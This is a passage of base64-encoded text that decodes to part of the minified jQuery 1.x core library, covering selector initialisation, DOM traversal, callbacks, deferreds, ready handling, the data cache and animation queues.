fCMoW1x3LV0qKSkkLyxCPW4uZm4uaW5pdD1mdW5jdGlvbihhLGIpe3ZhciBjLGQ7aWYoIWEpcmV0dXJuIHRoaXM7aWYoInN0cmluZyI9PXR5cGVvZiBhKXtpZihjPSI8Ij09PWEuY2hhckF0KDApJiYiPiI9PT1hLmNoYXJBdChhLmxlbmd0aC0xKSYmYS5sZW5ndGg+PTM/W251bGwsYSxudWxsXTpBLmV4ZWMoYSksIWN8fCFjWzFdJiZiKXJldHVybiFifHxiLmpxdWVyeT8oYnx8eSkuZmluZChhKTp0aGlzLmNvbnN0cnVjdG9yKGIpLmZpbmQoYSk7aWYoY1sxXSl7aWYoYj1iIGluc3RhbmNlb2Ygbj9iWzBdOmIsbi5tZXJnZSh0aGlzLG4ucGFyc2VIVE1MKGNbMV0sYiYmYi5ub2RlVHlwZT9iLm93bmVyRG9jdW1lbnR8fGI6eiwhMCkpLHYudGVzdChjWzFdKSYmbi5pc1BsYWluT2JqZWN0KGIpKWZvcihjIGluIGIpbi5pc0Z1bmN0aW9uKHRoaXNbY10pP3RoaXNbY10oYltjXSk6dGhpcy5hdHRyKGMsYltjXSk7cmV0dXJuIHRoaXN9aWYoZD16LmdldEVsZW1lbnRCeUlkKGNbMl0pLGQmJmQucGFyZW50Tm9kZSl7aWYoZC5pZCE9PWNbMl0pcmV0dXJuIHkuZmluZChhKTt0aGlzLmxlbmd0aD0xLHRoaXNbMF09ZH1yZXR1cm4gdGhpcy5jb250ZXh0PXosdGhpcy5zZWxlY3Rvcj1hLHRoaXN9cmV0dXJuIGEubm9kZVR5cGU/KHRoaXMuY29udGV4dD10aGlzWzBdPWEsdGhpcy5sZW5ndGg9MSx0aGlzKTpuLmlzRnVuY3Rpb24oYSk/InVuZGVmaW5lZCIhPXR5cGVvZiB5LnJlYWR5P3kucmVhZHkoYSk6YShuKToodm9pZCAwIT09YS5zZWxlY3RvciYmKHRoaXMuc2VsZWN0b3I9YS5zZWxlY3Rvcix0aGlzLmNvbnRleHQ9YS5jb250ZXh0KSxuLm1ha2VBcnJheShhLHRoaXMpKX07Qi5wcm90b3R5cGU9bi5mbix5PW4oeik7dmFyIEM9L14oPzpwYXJlbnRzfHByZXYoPzpVbnRpbHxBbGwpKS8sRD17Y2hpbGRyZW46ITAsY29udGVudHM6ITAsbmV4dDohMCxwcmV2OiEwfTtuLmV4dGVuZCh7ZGlyOmZ1bmN0aW9uKGEsYixjKXt2YXIgZD1bXSxlPWFbYl07d2hpbGUoZSYmOSE9PWUubm9kZVR5cGUmJih2b2lkIDA9PT1jfHwxIT09ZS5ub2RlVHlwZXx8IW4oZSkuaXMoYykpKTE9PT1lLm5vZGVUeXBlJiZkLnB1c2goZSksZT1lW2JdO3JldHVybiBkfSxzaWJsaW5nOmZ1bmN0aW9uKGEsYil7Zm9yKHZhciBjPVtdO2E7YT1hLm5leHRTaWJsaW5nKTE9PT1hLm5vZGVUeXBlJiZhIT09YiYmYy5wdXNoKGEpO3JldHVybiBjfX0pLG4uZm4uZXh0ZW5kKHtoYXM6ZnVuY3Rpb24oYSl7dmFyIGIsYz1uKGEsdGhpcyksZD1jLmxlbmd0aDtyZXR1cm4gdGhpcy5maWx0ZXIoZnVuY3Rpb24oKXtmb3IoYj0wO2Q+YjtiKyspaWYobi5jb250YWlucyh0aGlzLGNbYl0pKXJldHVybiEwfSl9LGNsb3Nlc3Q6ZnVuY3Rpb24oYSxiKXtmb3IodmFyIGMsZD0wLGU9dGhpcy5sZW5ndGgsZj1bXSxnPXUudGVzdChhKXx8InN0cmluZyIhPXR5cGVvZiBhP24oYSxifHx0aGlzLmNvbnRleHQpOjA7ZT5kO2QrKylmb3IoYz10aGlzW2RdO2MmJmMhPT1iO2M9Yy5wYXJlbnROb2RlKWlmKGMubm9kZVR5cGU8MTEmJihnP2cuaW5kZXgoYyk+LTE6MT09PWMubm9kZVR5cGUmJm4uZmluZC5tYXRjaGVzU2VsZWN0b3IoYyxhKSkpe2YucHVzaChjKTticmVha31yZXR1cm4gdGhpcy5wdXNoU3RhY2soZi5sZW5ndGg+MT9uLnVuaXF1ZShmKTpmKX0saW5kZXg6ZnVuY3Rpb24oYSl7cmV0dXJuIGE/InN0cmluZyI9PXR5cGVvZiBhP24uaW5BcnJheSh0aGlzWzBdLG4oYSkpOm4uaW5BcnJheShhLmpxdWVyeT9hWzBdOmEsdGhpcyk6dGhpc1swXSYmdGhpc1swXS5wYXJlbnROb2RlP3RoaXMuZmlyc3QoKS5wcmV2QWxsKCkubGVuZ3RoOi0xfSxhZGQ6ZnVuY3Rpb24oYSxiKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2sobi51bmlxdWUobi5tZXJnZSh0aGlzLmdldCgpLG4oYSxiKSkpKX0sYWRkQmFjazpmdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5hZGQobnVsbD09YT90aGlzLnByZXZPYmplY3Q6dGhpcy5wcmV2T2JqZWN0LmZpbHRlcihhKSl9fSk7ZnVuY3Rpb24gRShhLGIpe2RvIGE9YVtiXTt3aGlsZShhJiYxIT09YS5ub2RlVHlwZSk7cmV0dXJuIGF9bi5lYWNoKHtwYXJlbnQ6ZnVuY3Rpb24oYSl7dmFyIGI9YS5wYXJlbnROb2RlO3JldHVybiBiJiYxMSE9PWIubm9kZVR5cGU/YjpudWxsfSxwYXJlbnRzOmZ1bmN0aW9uKGEpe3JldHVybiBuLmRpcihhLCJwYXJlbnROb2RlIil9LHBhcmVudHNVbnRpbDpmdW5jdGlvbihhLGIsYyl7cmV0dXJuIG4uZGlyKGEsInBhcmVudE5vZGUiLGMpfSxuZXh0OmZ1bmN0aW9uKGEpe3JldHVybiBFKGEsIm5leHRTaWJsaW5nIil9LHByZXY6ZnVuY3Rpb24oYSl7cmV0dXJuIEUoYSwicHJldmlvdXNTaWJsaW5nIil9LG5leHRBbGw6ZnVuY3Rpb24oYSl7cmV0dXJuIG4uZGlyKGEsIm5leHRTaWJsaW5nIil9LHByZXZBbGw6ZnVuY3Rpb24oYSl7cmV0dXJuIG4uZGlyKGEsInByZXZpb3VzU2libGluZyIpfSxuZXh0VW50aWw6ZnVuY3Rpb24oYSxiLGMpe3JldHVybiBuLmRpcihhLCJuZXh0U2libGluZyIsYyl9LHByZXZVbnRpbDpmdW5jdGlvbihhLGIsYyl7cmV0dXJuIG4uZGlyKGEsInByZXZpb3VzU2libGluZyIsYyl9LHNpYmxpbmdzOmZ1bmN0aW9uKGEpe3JldHVybiBuLnNpYmxpbmcoKGEucGFyZW50Tm9kZXx8e30pLmZpcnN0Q2hpbGQsYSl9LGNoaWxkcmVuOmZ1bmN0aW9uKGEpe3JldHVybiBuLnNpYmxpbmcoYS5maXJzdENoaWxkKX0sY29udGVudHM6ZnVuY3Rpb24oYSl7cmV0dXJuIG4ubm9kZU5hbWUoYSwiaWZyYW1lIik/YS5jb250ZW50RG9jdW1lbnR8fGEuY29udGVudFdpbmRvdy5kb2N1bWVudDpuLm1lcmdlKFtdLGEuY2hpbGROb2Rlcyl9fSxmdW5jdGlvbihhLGIpe24uZm5bYV09ZnVuY3Rpb24oYyxkKXt2YXIgZT1uLm1hcCh0aGlzLGIsYyk7cmV0dXJuIlVudGlsIiE9PWEuc2xpY2UoLTUpJiYoZD1jKSxkJiYic3RyaW5nIj09dHlwZW9mIGQmJihlPW4uZmlsdGVyKGQsZSkpLHRoaXMubGVuZ3RoPjEmJihEW2FdfHwoZT1uLnVuaXF1ZShlKSksQy50ZXN0KGEpJiYoZT1lLnJldmVyc2UoKSkpLHRoaXMucHVzaFN0YWNrKGUpfX0pO3ZhciBGPS9cUysvZyxHPXt9O2Z1bmN0aW9uIEgoYSl7dmFyIGI9R1thXT17fTtyZXR1cm4gbi5lYWNoKGEubWF0Y2goRil8fFtdLGZ1bmN0aW9uKGEsYyl7YltjXT0hMH0pLGJ9bi5DYWxsYmFja3M9ZnVuY3Rpb24oYSl7YT0ic3RyaW5nIj09dHlwZW9mIGE/R1thXXx8SChhKTpuLmV4dGVuZCh7fSxhKTt2YXIgYixjLGQsZSxmLGcsaD1bXSxpPSFhLm9uY2UmJltdLGo9ZnVuY3Rpb24obCl7Zm9yKGM9YS5tZW1vcnkmJmwsZD0hMCxmPWd8fDAsZz0wLGU9aC5sZW5ndGgsYj0hMDtoJiZlPmY7ZisrKWlmKGhbZl0uYXBwbHkobFswXSxsWzFdKT09PSExJiZhLnN0b3BPbkZhbHNlKXtjPSExO2JyZWFrfWI9ITEsaCYmKGk/aS5sZW5ndGgmJmooaS5zaGlmdCgpKTpjP2g9W106ay5kaXNhYmxlKCkpfSxrPXthZGQ6ZnVuY3Rpb24oKXtpZihoKXt2YXIgZD1oLmxlbmd0aDshZnVuY3Rpb24gZihiKXtuLmVhY2goYixmdW5jdGlvbihiLGMpe3ZhciBkPW4udHlwZShjKTsiZnVuY3Rpb24iPT09ZD9hLnVuaXF1ZSYmay5oYXMoYyl8fGgucHVzaChjKTpjJiZjLmxlbmd0aCYmInN0cmluZyIhPT1kJiZmKGMpfSl9KGFyZ3VtZW50cyksYj9lPWgubGVuZ3RoOmMmJihnPWQsaihjKSl9cmV0dXJuIHRoaXN9LHJlbW92ZTpmdW5jdGlvbigpe3JldHVybiBoJiZuLmVhY2goYXJndW1lbnRzLGZ1bmN0aW9uKGEsYyl7dmFyIGQ7d2hpbGUoKGQ9bi5pbkFycmF5KGMsaCxkKSk+LTEpaC5zcGxpY2UoZCwxKSxiJiYoZT49ZCYmZS0tLGY+PWQmJmYtLSl9KSx0aGlzfSxoYXM6ZnVuY3Rpb24oYSl7cmV0dXJuIGE/bi5pbkFycmF5KGEsaCk+LTE6ISghaHx8IWgubGVuZ3RoKX0sZW1wdHk6ZnVuY3Rpb24oKXtyZXR1cm4gaD1bXSxlPTAsdGhpc30sZGlzYWJsZTpmdW5jdGlvbigpe3JldHVybiBoPWk9Yz12b2lkIDAsdGhpc30sZGlzYWJsZWQ6ZnVuY3Rpb24oKXtyZXR1cm4haH0sbG9jazpmdW5jdGlvbigpe3JldHVybiBpPXZvaWQgMCxjfHxrLmRpc2FibGUoKSx0aGlzfSxsb2NrZWQ6ZnVuY3Rpb24oKXtyZXR1cm4haX0sZmlyZVdpdGg6ZnVuY3Rpb24oYSxjKXtyZXR1cm4haHx8ZCYmIWl8fChjPWN8fFtdLGM9W2EsYy5zbGljZT9jLnNsaWNlKCk6Y10sYj9pLnB1c2goYyk6aihjKSksdGhpc30sZmlyZTpmdW5jdGlvbigpe3JldHVybiBrLmZpcmVXaXRoKHRoaXMsYXJndW1lbnRzKSx0aGlzfSxmaXJlZDpmdW5jdGlvbigpe3JldHVybiEhZH19O3JldHVybiBrfSxuLmV4dGVuZCh7RGVmZXJyZWQ6ZnVuY3Rpb24oYSl7dmFyIGI9W1sicmVzb2x2ZSIsImRvbmUiLG4uQ2FsbGJhY2tzKCJvbmNlIG1lbW9yeSIpLCJyZXNvbHZlZCJdLFsicmVqZWN0IiwiZmFpbCIsbi5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IiksInJlamVjdGVkIl0sWyJub3RpZnkiLCJwcm9ncmVzcyIsbi5DYWxsYmFja3MoIm1lbW9yeSIpXV0sYz0icGVuZGluZyIsZD17c3RhdGU6ZnVuY3Rpb24oKXtyZXR1cm4gY30sYWx3YXlzOmZ1bmN0aW9uKCl7cmV0dXJuIGUuZG9uZShhcmd1bWVudHMpLmZhaWwoYXJndW1lbnRzKSx0aGlzfSx0aGVuOmZ1bmN0aW9uKCl7dmFyIGE9YXJndW1lbnRzO3JldHVybiBuLkRlZmVycmVkKGZ1bmN0aW9uKGMpe24uZWFjaChiLGZ1bmN0aW9uKGIsZil7dmFyIGc9bi5pc0Z1bmN0aW9uKGFbYl0pJiZhW2JdO2VbZlsxXV0oZnVuY3Rpb24oKXt2YXIgYT1nJiZnLmFwcGx5KHRoaXMsYXJndW1lbnRzKTthJiZuLmlzRnVuY3Rpb24oYS5wcm9taXNlKT9hLnByb21pc2UoKS5kb25lKGMucmVzb2x2ZSkuZmFpbChjLnJlamVjdCkucHJvZ3Jlc3MoYy5ub3RpZnkpOmNbZlswXSsiV2l0aCJdKHRoaXM9PT1kP2MucHJvbWlzZSgpOnRoaXMsZz9bYV06YXJndW1lbnRzKX0pfSksYT1udWxsfSkucHJvbWlzZSgpfSxwcm9taXNlOmZ1bmN0aW9uKGEpe3JldHVybiBudWxsIT1hP24uZXh0ZW5kKGEsZCk6ZH19LGU9e307cmV0dXJuIGQucGlwZT1kLnRoZW4sbi5lYWNoKGIsZnVuY3Rpb24oYSxmKXt2YXIgZz1mWzJdLGg9ZlszXTtkW2ZbMV1dPWcuYWRkLGgmJmcuYWRkKGZ1bmN0aW9uKCl7Yz1ofSxiWzFeYV1bMl0uZGlzYWJsZSxiWzJdWzJdLmxvY2spLGVbZlswXV09ZnVuY3Rpb24oKXtyZXR1cm4gZVtmWzBdKyJXaXRoIl0odGhpcz09PWU/ZDp0aGlzLGFyZ3VtZW50cyksdGhpc30sZVtmWzBdKyJXaXRoIl09Zy5maXJlV2l0aH0pLGQucHJvbWlzZShlKSxhJiZhLmNhbGwoZSxlKSxlfSx3aGVuOmZ1bmN0aW9uKGEpe3ZhciBiPTAsYz1kLmNhbGwoYXJndW1lbnRzKSxlPWMubGVuZ3RoLGY9MSE9PWV8fGEmJm4uaXNGdW5jdGlvbihhLnByb21pc2UpP2U6MCxnPTE9PT1mP2E6bi5EZWZlcnJlZCgpLGg9ZnVuY3Rpb24oYSxiLGMpe3JldHVybiBmdW5jdGlvbihlKXtiW2FdPXRoaXMsY1thXT1hcmd1bWVudHMubGVuZ3RoPjE/ZC5jYWxsKGFyZ3VtZW50cyk6ZSxjPT09aT9nLm5vdGlmeVdpdGgoYixjKTotLWZ8fGcucmVzb2x2ZVdpdGgoYixjKX19LGksaixrO2lmKGU+MSlmb3IoaT1uZXcgQXJyYXkoZSksaj1uZXcgQXJyYXkoZSksaz1uZXcgQXJyYXkoZSk7ZT5iO2IrKyljW2JdJiZuLmlzRnVuY3Rpb24oY1tiXS5wcm9taXNlKT9jW2JdLnByb21pc2UoKS5kb25lKGgoYixrLGMpKS5mYWlsKGcucmVqZWN0KS5wcm9ncmVzcyhoKGIsaixpKSk6LS1mO3JldHVybiBmfHxnLnJlc29sdmVXaXRoKGssYyksZy5wcm9taXNlKCl9fSk7dmFyIEk7bi5mbi5yZWFkeT1mdW5jdGlvbihhKXtyZXR1cm4gbi5yZWFkeS5wcm9taXNlKCkuZG9uZShhKSx0aGlzfSxuLmV4dGVuZCh7aXNSZWFkeTohMSxyZWFkeVdhaXQ6MSxob2xkUmVhZHk6ZnVuY3Rpb24oYSl7YT9uLnJlYWR5V2FpdCsrOm4ucmVhZHkoITApfSxyZWFkeTpmdW5jdGlvbihhKXtpZihhPT09ITA/IS0tbi5yZWFkeVdhaXQ6IW4uaXNSZWFkeSl7aWYoIXouYm9keSlyZXR1cm4gc2V0VGltZW91dChuLnJlYWR5KTtuLmlzUmVhZHk9ITAsYSE9PSEwJiYtLW4ucmVhZHlXYWl0PjB8fChJLnJlc29sdmVXaXRoKHosW25dKSxuLmZuLnRyaWdnZXImJm4oeikudHJpZ2dlcigicmVhZHkiKS5vZmYoInJlYWR5IikpfX19KTtmdW5jdGlvbiBKKCl7ei5hZGRFdmVudExpc3RlbmVyPyh6LnJlbW92ZUV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLEssITEpLGEucmVtb3ZlRXZlbnRMaXN0ZW5lcigibG9hZCIsSywhMSkpOih6LmRldGFjaEV2ZW50KCJvbnJlYWR5c3RhdGVjaGFuZ2UiLEspLGEuZGV0YWNoRXZlbnQoIm9ubG9hZCIsSykpfWZ1bmN0aW9uIEsoKXsoei5hZGRFdmVudExpc3RlbmVyfHwibG9hZCI9PT1ldmVudC50eXBlfHwiY29tcGxldGUiPT09ei5yZWFkeVN0YXRlKSYmKEooKSxuLnJlYWR5KCkpfW4ucmVhZHkucHJvbWlzZT1mdW5jdGlvbihiKXtpZighSSlpZihJPW4uRGVmZXJyZWQoKSwiY29tcGxldGUiPT09ei5yZWFkeVN0YXRlKXNldFRpbWVvdXQobi5yZWFkeSk7ZWxzZSBpZih6LmFkZEV2ZW50TGlzdGVuZXIpei5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixLLCExKSxhLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLEssITEpO2Vsc2V7ei5hdHRhY2hFdmVudCgib25yZWFkeXN0YXRlY2hhbmdlIixLKSxhLmF0dGFjaEV2ZW50KCJvbmxvYWQiLEspO3ZhciBjPSExO3RyeXtjPW51bGw9PWEuZnJhbWVFbGVtZW50JiZ6LmRvY3VtZW50RWxlbWVudH1jYXRjaChkKXt9YyYmYy5kb1Njcm9sbCYmIWZ1bmN0aW9uIGUoKXtpZighbi5pc1JlYWR5KXt0cnl7Yy5kb1Njcm9sbCgibGVmdCIpfWNhdGNoKGEpe3JldHVybiBzZXRUaW1lb3V0KGUsNTApfUooKSxuLnJlYWR5KCl9fSgpfXJldHVybiBJLnByb21pc2UoYil9O3ZhciBMPSJ1bmRlZmluZWQiLE07Zm9yKE0gaW4gbihsKSlicmVhaztsLm93bkxhc3Q9IjAiIT09TSxsLmlubGluZUJsb2NrTmVlZHNMYXlvdXQ9ITEsbihmdW5jdGlvbigpe3ZhciBhLGIsYz16LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF07YyYmKGE9ei5jcmVhdGVFbGVtZW50KCJkaXYiKSxhLnN0eWxlLmNzc1RleHQ9ImJvcmRlcjowO3dpZHRoOjA7aGVpZ2h0OjA7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDotOTk5OXB4O21hcmdpbi10b3A6MXB4IixiPXouY3JlYXRlRWxlbWVudCgiZGl2IiksYy5hcHBlbmRDaGlsZChhKS5hcHBlbmRDaGlsZChiKSx0eXBlb2YgYi5zdHlsZS56b29tIT09TCYmKGIuc3R5bGUuY3NzVGV4dD0iYm9yZGVyOjA7bWFyZ2luOjA7d2lkdGg6MXB4O3BhZGRpbmc6MXB4O2Rpc3BsYXk6aW5saW5lO3pvb206MSIsKGwuaW5saW5lQmxvY2tOZWVkc0xheW91dD0zPT09Yi5vZmZzZXRXaWR0aCkmJihjLnN0eWxlLnpvb209MSkpLGMucmVtb3ZlQ2hpbGQoYSksYT1iPW51bGwpfSksZnVuY3Rpb24oKXt2YXIgYT16LmNyZWF0ZUVsZW1lbnQoImRpdiIpO2lmKG51bGw9PWwuZGVsZXRlRXhwYW5kbyl7bC5kZWxldGVFeHBhbmRvPSEwO3RyeXtkZWxldGUgYS50ZXN0fWNhdGNoKGIpe2wuZGVsZXRlRXhwYW5kbz0hMX19YT1udWxsfSgpLG4uYWNjZXB0RGF0YT1mdW5jdGlvbihhKXt2YXIgYj1uLm5vRGF0YVsoYS5ub2RlTmFtZSsiICIpLnRvTG93ZXJDYXNlKCldLGM9K2Eubm9kZVR5cGV8fDE7cmV0dXJuIDEhPT1jJiY5IT09Yz8hMTohYnx8YiE9PSEwJiZhLmdldEF0dHJpYnV0ZSgiY2xhc3NpZCIpPT09Yn07dmFyIE49L14oPzpce1tcd1xXXSpcfXxcW1tcd1xXXSpcXSkkLyxPPS8oW0EtWl0pL2c7ZnVuY3Rpb24gUChhLGIsYyl7aWYodm9pZCAwPT09YyYmMT09PWEubm9kZVR5cGUpe3ZhciBkPSJkYXRhLSIrYi5yZXBsYWNlKE8sIi0kMSIpLnRvTG93ZXJDYXNlKCk7aWYoYz1hLmdldEF0dHJpYnV0ZShkKSwic3RyaW5nIj09dHlwZW9mIGMpe3RyeXtjPSJ0cnVlIj09PWM/ITA6ImZhbHNlIj09PWM/ITE6Im51bGwiPT09Yz9udWxsOitjKyIiPT09Yz8rYzpOLnRlc3QoYyk/bi5wYXJzZUpTT04oYyk6Y31jYXRjaChlKXt9bi5kYXRhKGEsYixjKX1lbHNlIGM9dm9pZCAwfXJldHVybiBjfWZ1bmN0aW9uIFEoYSl7dmFyIGI7Zm9yKGIgaW4gYSlpZigoImRhdGEiIT09Ynx8IW4uaXNFbXB0eU9iamVjdChhW2JdKSkmJiJ0b0pTT04iIT09YilyZXR1cm4hMTtyZXR1cm4hMH1mdW5jdGlvbiBSKGEsYixkLGUpe2lmKG4uYWNjZXB0RGF0YShhKSl7dmFyIGYsZyxoPW4uZXhwYW5kbyxpPWEubm9kZVR5cGUsaj1pP24uY2FjaGU6YSxrPWk/YVtoXTphW2hdJiZoO2lmKGsmJmpba10mJihlfHxqW2tdLmRhdGEpfHx2b2lkIDAhPT1kfHwic3RyaW5nIiE9dHlwZW9mIGIpcmV0dXJuIGt8fChrPWk/YVtoXT1jLnBvcCgpfHxuLmd1aWQrKzpoKSxqW2tdfHwoaltrXT1pP3t9Ont0b0pTT046bi5ub29wfSksKCJvYmplY3QiPT10eXBlb2YgYnx8ImZ1bmN0aW9uIj09dHlwZW9mIGIpJiYoZT9qW2tdPW4uZXh0ZW5kKGpba10sYik6altrXS5kYXRhPW4uZXh0ZW5kKGpba10uZGF0YSxiKSksZz1qW2tdLGV8fChnLmRhdGF8fChnLmRhdGE9e30pLGc9Zy5kYXRhKSx2b2lkIDAhPT1kJiYoZ1tuLmNhbWVsQ2FzZShiKV09ZCksInN0cmluZyI9PXR5cGVvZiBiPyhmPWdbYl0sbnVsbD09ZiYmKGY9Z1tuLmNhbWVsQ2FzZShiKV0pKTpmPWcsZgp9fWZ1bmN0aW9uIFMoYSxiLGMpe2lmKG4uYWNjZXB0RGF0YShhKSl7dmFyIGQsZSxmPWEubm9kZVR5cGUsZz1mP24uY2FjaGU6YSxoPWY/YVtuLmV4cGFuZG9dOm4uZXhwYW5kbztpZihnW2hdKXtpZihiJiYoZD1jP2dbaF06Z1toXS5kYXRhKSl7bi5pc0FycmF5KGIpP2I9Yi5jb25jYXQobi5tYXAoYixuLmNhbWVsQ2FzZSkpOmIgaW4gZD9iPVtiXTooYj1uLmNhbWVsQ2FzZShiKSxiPWIgaW4gZD9bYl06Yi5zcGxpdCgiICIpKSxlPWIubGVuZ3RoO3doaWxlKGUtLSlkZWxldGUgZFtiW2VdXTtpZihjPyFRKGQpOiFuLmlzRW1wdHlPYmplY3QoZCkpcmV0dXJufShjfHwoZGVsZXRlIGdbaF0uZGF0YSxRKGdbaF0pKSkmJihmP24uY2xlYW5EYXRhKFthXSwhMCk6bC5kZWxldGVFeHBhbmRvfHxnIT1nLndpbmRvdz9kZWxldGUgZ1toXTpnW2hdPW51bGwpfX19bi5leHRlbmQoe2NhY2hlOnt9LG5vRGF0YTp7ImFwcGxldCAiOiEwLCJlbWJlZCAiOiEwLCJvYmplY3QgIjoiY2xzaWQ6RDI3Q0RCNkUtQUU2RC0xMWNmLTk2QjgtNDQ0NTUzNTQwMDAwIn0saGFzRGF0YTpmdW5jdGlvbihhKXtyZXR1cm4gYT1hLm5vZGVUeXBlP24uY2FjaGVbYVtuLmV4cGFuZG9dXTphW24uZXhwYW5kb10sISFhJiYhUShhKX0sZGF0YTpmdW5jdGlvbihhLGIsYyl7cmV0dXJuIFIoYSxiLGMpfSxyZW1vdmVEYXRhOmZ1bmN0aW9uKGEsYil7cmV0dXJuIFMoYSxiKX0sX2RhdGE6ZnVuY3Rpb24oYSxiLGMpe3JldHVybiBSKGEsYixjLCEwKX0sX3JlbW92ZURhdGE6ZnVuY3Rpb24oYSxiKXtyZXR1cm4gUyhhLGIsITApfX0pLG4uZm4uZXh0ZW5kKHtkYXRhOmZ1bmN0aW9uKGEsYil7dmFyIGMsZCxlLGY9dGhpc1swXSxnPWYmJmYuYXR0cmlidXRlcztpZih2b2lkIDA9PT1hKXtpZih0aGlzLmxlbmd0aCYmKGU9bi5kYXRhKGYpLDE9PT1mLm5vZGVUeXBlJiYhbi5fZGF0YShmLCJwYXJzZWRBdHRycyIpKSl7Yz1nLmxlbmd0aDt3aGlsZShjLS0pZD1nW2NdLm5hbWUsMD09PWQuaW5kZXhPZigiZGF0YS0iKSYmKGQ9bi5jYW1lbENhc2UoZC5zbGljZSg1KSksUChmLGQsZVtkXSkpO24uX2RhdGEoZiwicGFyc2VkQXR0cnMiLCEwKX1yZXR1cm4gZX1yZXR1cm4ib2JqZWN0Ij09dHlwZW9mIGE/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7bi5kYXRhKHRoaXMsYSl9KTphcmd1bWVudHMubGVuZ3RoPjE/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7bi5kYXRhKHRoaXMsYSxiKX0pOmY/UChmLGEsbi5kYXRhKGYsYSkpOnZvaWQgMH0scmVtb3ZlRGF0YTpmdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7bi5yZW1vdmVEYXRhKHRoaXMsYSl9KX19KSxuLmV4dGVuZCh7cXVldWU6ZnVuY3Rpb24oYSxiLGMpe3ZhciBkO3JldHVybiBhPyhiPShifHwiZngiKSsicXVldWUiLGQ9bi5fZGF0YShhLGIpLGMmJighZHx8bi5pc0FycmF5KGMpP2Q9bi5fZGF0YShhLGIsbi5tYWtlQXJyYXkoYykpOmQucHVzaChjKSksZHx8W10pOnZvaWQgMH0sZGVxdWV1ZTpmdW5jdGlvbihhLGIpe2I9Ynx8ImZ4Ijt2YXIgYz1uLnF1ZXVlKGEsYiksZD1jLmxlbmd0aCxlPWMuc2hpZnQoKSxmPW4uX3F1ZXVlSG9va3MoYSxiKSxnPWZ1bmN0aW9uKCl7bi5kZXF1ZXVlKGEsYil9OyJpbnByb2dyZXNzIj09PWUmJihlPWMuc2hpZnQoKSxkLS0pLGUmJigiZngiPT09YiYmYy51bnNoaWZ0KCJpbnByb2dyZXNzIiksZGVsZXRlIGYuc3RvcCxlLmNhbGwoYSxnLGYpKSwhZCYmZiYmZi5lbXB0eS5maXJlKCl9LF9xdWV1ZUhvb2tzOmZ1bmN0aW9uKGEsYil7dmFyIGM9YisicXVldWVIb29rcyI7cmV0dXJuIG4uX2RhdGEoYSxjKXx8bi5fZGF0YShhLGMse2VtcHR5Om4uQ2FsbGJhY2tzKCJvbmNlIG1lbW9yeSIpLmFkZChmdW5jdGlvbigpe24uX3JlbW92ZURhdGEoYSxiKyJxdWV1ZSIpLG4uX3JlbW92ZURhdGEoYSxjKX0pfSl9fSksbi5mbi5leHRlbmQoe3F1ZXVlOmZ1bmN0aW9uKGEsYil7dmFyIGM9MjtyZXR1cm4ic3RyaW5nIiE9dHlwZW9mIGEmJihiPWEsYT0iZngiLGMtLSksYXJndW1lbnRzLmxlbmd0aDxjP24ucXVldWUodGhpc1swXSxhKTp2b2lkIDA9PT1iP3RoaXM6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGM9bi5xdWV1ZSh0aGlzLGEsYik7bi5fcXVldWVIb29rcyh0aGlzLGEpLCJmeCI9PT1hJiYiaW5wcm9ncmVzcyIhPT1jWzBdJiZuLmRlcXVldWUodGhpcyxhKX0pfSxkZXF1ZXVlOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtuLmRlcXVldWUodGhpcyxhKX0pfSxjbGVhclF1ZXVlOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLnF1ZXVlKGF8fCJmeCIsW10pfSxwcm9taXNlOmZ1bmN0aW9uKGEsYil7dmFyIGMsZD0xLGU9bi5EZWZlcnJlZCgpLGY9dGhpcyxnPXRoaXMubGVuZ3RoLGg9ZnVuY3Rpb24oKXstLWR8fGUucmVzb2x2ZVdpdGgoZixbZl0pfTsic3RyaW5nIiE9dHlwZW9mIGEmJihiPWEsYT12b2lkIDApLGE9YXx8ImZ4Ijt3aGlsZShnLS0pYz1uLl9kYXRhKGZbZ10sYSsicXVldWVIb29rcyIpLGMmJmMuZW1wdHkmJihkKyssYy5lbXB0eS5hZGQoaCkpO3JldHVybiBoKCksZS5wcm9taXNlKGIpfX0pO3ZhciBUPS9bKy1dPyg/OlxkKlwufClcZCsoPzpbZUVdWystXT9cZCt8KS8uc291cmNlLFU9WyJUb3AiLCJSaWdodCIsIkJvdHRvbSIsIkxlZnQiXSxWPWZ1bmN0aW9uKGEsYil7cmV0dXJuIGE9Ynx8YSwibm9uZSI9PT1uLmNzcyhhLCJkaXNwbGF5Iil8fCFuLmNvbnRhaW5zKGEub3duZXJEb2N1bWVudCxhKX0sVz1uLmFjY2Vzcz1mdW5jdGlvbihhLGIsYyxkLGUsZixnKXt2YXIgaD0wLGk9YS5sZW5ndGgsaj1udWxsPT1jO2lmKCJvYmplY3QiPT09bi50eXBlKGMpKXtlPSEwO2ZvcihoIGluIGMpbi5hY2Nlc3MoYSxiLGgsY1toXSwhMCxmLGcpfWVsc2UgaWYodm9pZCAwIT09ZCYmKGU9ITAsbi5pc0Z1bmN0aW9uKGQpfHwoZz0hMCksaiYmKGc/KGIuY2FsbChhLGQpLGI9bnVsbCk6KGo9YixiPWZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gai5jYWxsKG4oYSksYyl9KSksYikpZm9yKDtpPmg7aCsrKWIoYVtoXSxjLGc/ZDpkLmNhbGwoYVtoXSxoLGIoYVtoXSxjKSkpO3JldHVybiBlP2E6aj9iLmNhbGwoYSk6aT9iKGFbMF0sYyk6Zn0sWD0vXig/OmNoZWNrYm94fHJhZGlvKSQvaTshZnVuY3Rpb24oKXt2YXIgYT16LmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKSxiPXouY3JlYXRlRWxlbWVudCgiZGl2IiksYz16LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7aWYoYi5zZXRBdHRyaWJ1dGUoImNsY